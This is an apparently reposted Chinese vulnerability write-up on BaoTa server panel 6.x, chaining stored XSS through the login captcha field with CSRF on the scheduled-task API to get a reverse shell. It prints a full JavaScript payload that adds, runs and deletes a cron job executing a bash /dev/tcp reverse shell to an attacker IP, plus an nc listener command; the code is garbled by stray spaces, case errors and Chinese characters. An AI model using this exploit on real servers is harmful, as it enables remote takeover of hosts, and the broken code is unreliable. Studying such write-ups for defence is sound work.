宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell
2023-09-14 08:56:56 时间
对于宝塔漏洞复现和练习
0×00 什么是宝塔面板
宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统。一键配置:LAMP / LNMP ,网站,数据库,FTP ,SSL,通过Web 端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。
0×01 漏洞成因
在6.x Linux 版本宝塔面板当中当中,相对与5.x 版本,记录了验证码错误并存入数据库当中,存储XSS缺陷就是在此处产生。 同时利用CSRF结合宝塔的计划任务反弹shell。
0×02 漏洞复现
首先访问后台,宝塔一般部署在8888 端口,
我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。
然后我们在登陆,在验证码处输入XSS 利用代码测试
<script>alert('xss')</ script>
通过账号密码登陆宝塔后台,点开安全模块。我们可以看到触发了弹窗
由于宝塔面板的计划任务功能可以执行shell 脚本,所以我们可以基于这个xss 结合csrf 在计划任务功能处执行反弹shell 。
我们利用xss 平台(http://xsspt.com )新建一个项目执行自定义的js 脚本,修改里面的你的ip 和端口,代码如下
function addTask(TaskName,execTime,ip,port){ var execShell ='bash -i>&/ dev / tcp / your_ip / your_port 0>&1'; execShell = encodeURIComponent(execShell); var params ='name ='+ TaskName +'&type = minute-n&where1 ='+ execTime +'&hour =&minute =&week =&sType = toShell&sBody ='+ execShell +'&sName =&backupTo = localhost&save =&urladdress = undefined' var xhr = new XMLHttpRequest(); xhr.open('POST','/ crontab?action = AddCrontab',false); xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded'); xhr.send(PARAMS); } function execTask(TaskName){ var xhr = new XMLHttpRequest(); xhr.open('POST','/ crontab?action = GetCrontab',true); xhr.send(); xhr.onload = function(){ if(this.readyState == 4 && this.status == 200){ var res = JSON.parse(this.responseText); if(res [0] .name == TaskName){ var TaskID = res [0] .id.toString(); var xhr = new XMLHttpRequest(); xhr.open('POST','/ crontab?action = StartTask',false); xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded'); var params ='id ='+ TaskID; xhr.send(PARAMS); delTask(RES [0] .ID); 的console.log(RES [0] .ID); return res [0] .id; } } } } function delTask(TaskID){ var params ='id ='+ TaskID.toString(); var xhr = new XMLHttpRequest(); xhr.open('POST','/ crontab?action = DelCrontab',false); xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded'); xhr.send(PARAMS); } var TaskName = Math.random()。toString(36).substring(7); addTask(TASKNAME, '5', '1.1.1.1', '53'); execTask(TASKNAME);
在本地通过nc 监听反弹的端口,nc.exe -l -vv -p 反弹端口
在然后后台通过登陆面板的验证码处插入我们配置好的跨站网站脚本代码
在登陆宝塔后台面板,点开安全模块。我们可以看到壳成功反弹
相关文章
- Typecho后台模板MDUI风格 – 专为Typecho设计
- 这段时间在后台收到了很多朋友的打卡截图,感谢大家和我们一起答题捐花,守护心理健康!我们从众多参与打卡的用户中随机抽取了50位用户,每人赠送30Q币,将于1周内到账,名单如下。没有中奖的朋友也不要灰心,
- 业务后台商业组件ViewUI(iView)入门
- AppSite后台管理系统结构说明
- Analytics360°:在 WordPress 后台查看 Google Analytics 统计
- WordPress 技巧:如何移除 WordPress 后台的菜单
- 手机app微信支付后台处理流程详解编程语言
- 定时任务Linux定时任务后台执行大全(linux后台执行)
- Linux环境中 后台与前台对比之旅(linux后台前台)
- SAP BW常用后台事务码详解编程语言
- JQuery运用ajax注册用户实例(后台asp.net)
- IE10下Gridview后台设置行高不起作用解决方法
- android教程之使用asynctask在后台运行耗时任务